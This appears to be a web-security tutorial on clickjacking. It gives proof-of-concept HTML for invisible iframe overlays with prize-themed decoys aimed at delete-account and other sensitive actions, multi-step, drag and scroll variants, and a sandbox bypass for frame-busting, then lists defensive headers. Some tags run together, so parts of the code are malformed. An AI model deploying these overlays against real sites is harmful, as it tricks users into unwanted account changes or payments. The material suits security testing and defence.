Clickjacking tricks users into clicking on hidden or disguised interface elements. While often low severity alone, combined with sensitive actions (password change, funds transfer, account deletion) it becomes high impact.
Basic Test — Iframe Embedding
<!-- Basic PoC: can the target be framed? --> <!DOCTYPE html> <html> <body> <iframesrc="https://target.com/dashboard"width="800"height="600"></iframe> <p>If the target loads above, it's potentially vulnerable to clickjacking.</p> </body> </html>
Save as test.html, open in browser. If the target loads inside the iframe — no frame-busting protection is in place.
Checking Protections
X-Frame-Options Header
# Server response should include one of: X-Frame-Options: DENY # never allow in frame X-Frame-Options: SAMEORIGIN # only allow same origin X-Frame-Options: ALLOW-FROM https://trusted.com # specific origin (deprecated)
<!DOCTYPE html> <html> <head> <style> #victim { position: relative; opacity: 0.5; /* set to 0.0001 for real attack, 0.5 to show PoC */ z-index: 2; } #decoy { position: absolute; top: 250px; /* align with target button */ left: 150px; z-index: 1; background: red; padding: 10px; color: white; cursor: pointer; } </style> </head> <body> <divid="decoy">Click me to win a prize!</div> <iframeid="victim" src="https://target.com/delete-account" width="800"height="600" frameborder="0"> </iframe> </body> </html>
Adjusting Position
// Use browser DevTools to align overlay exactly over the sensitive button // 1. Open target in a tab, use inspector to find button position // 2. Adjust top/left CSS values until your decoy overlaps the real button // When opacity = 0 (real attack), user sees decoy but clicks the invisible target button
Advanced Techniques
Multi-Step Clickjacking
<!-- Step 1: Click "Settings" --> <!-- Step 2: Click "Delete Account" --> <!-- Step 3: Click "Confirm" --> <!-- Each click advances the user through the target's flow -->
<!-- Trick user into dragging text from one location to another Useful when target uses drag-and-drop for sensitive actions --> <html> <body> <divdraggable="true" ondragstart="event.dataTransfer.setData('text', 'malicious data')"> Drag this coupon to the box below! </div>
<!-- Get user to scroll to align iframe with a button --> <!-- Useful when the target button is not at top of the page --> <html> <style> body { height: 3000px; } #frame { position: fixed; top: 300px; left: 200px; opacity: 0.01; } </style> <body> <h1>Scroll down to reveal your prize!</h1> <!-- At scroll position X, the iframe target button aligns with decoy --> <iframeid="frame"src="https://target.com/action" width="800"height="600"> </iframe> <divstyle="position:absolute; top:1500px;"> Click here to claim! </div> </body> </html>
Bypass Techniques
sandbox Attribute (Frame-Buster Bypass)
<!-- Neutralizes frame-busting JavaScript without breaking form submissions --> <iframesrc="https://target.com" sandbox="allow-forms allow-scripts allow-same-origin"> </iframe>
Password change: User clicks "Save"on attacker-positioned iframe → changes password to attacker's Email change: User "confirms" email change → ATO via password reset 2FA disable: User "clicks OK"on disable 2FA prompt Fund transfer: User "confirms" payment → sends funds to attacker Account linking: User "authorizes" OAuth app → attacker gains access Social action: User "likes", "shares", or"follows" → social spam Permissions grant: User "allows" camera/mic permissions in browser
Automated Testing
# Nikto includes clickjacking checks nikto -h https://target.com
# Allow same origin only Content-Security-Policy: frame-ancestors 'self'
# Additional: SameSite cookies (partial mitigation) Set-Cookie: session=...; SameSite=Strict
# JavaScript: check if running in iframe and block (defense-in-depth only) if (window.self !== window.top) { document.body.innerHTML = 'Access denied in iframe'; }
No comments yet. Be the first.